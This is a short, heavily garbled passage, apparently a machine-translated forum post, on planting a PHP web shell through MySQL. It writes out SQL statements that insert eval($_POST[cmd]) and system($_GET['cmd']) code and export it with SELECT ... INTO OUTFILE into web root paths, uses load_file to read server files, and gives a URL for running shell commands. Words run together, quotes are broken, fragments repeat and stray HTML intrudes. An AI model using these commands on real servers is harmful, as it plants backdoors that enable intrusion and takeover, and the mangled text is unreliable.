CreateTABLElinuxso (optional textnotnull); InsertINTOlinuxso (cmd) VALUES (? Phpeval ($ _ POST [cmd])?); Selectshortfromstudy=outfilee: wampwww7.php; DropTABLEIFEXISTSstudy; CreateTABLE 'wangzi' ('wangzi' TEXTNOTNULL) TYPEM
Create TABLE linuxso (cmd t
ExT not null); Insert INTO linuxso (cmd) VALUES (' Php
Eval($ _ POST [cmd])?> '); Select cmd from study into out
File'E:/wamp/www/7. php '; Drop table if exists study; Create TABLE 'hangzi' ('hangzi' text not null) TYPE = MYISAM; Insert INTO 'hangzi' ('hangzi') VALUES (' '); Select 'hangzi' FROM 'hangzi' into outfile 'C:/xampp/htdocs/xampp/cmd. php'; Drop TABLE 'hangzi'; then foreign
Bbs'Target = '_ blank'>
ForumThe preceding method is simpler: 1: select load_file ('e:/xamp/www/linuxso. php'); 2: select' \ '; System ($ _ GET [\ 'cmd \']); echo \'\ ';?> 'Into outfile' E:/xamp/www/linuxso. php' and visit the website directory: http: // localhost/linuxso. php? Cmd = dir 3: write a sentence: select' 'Into outfile' E:/xamp/www/linuxso. php' the third is to export a sentence directly in the SQL query. You must first know the website path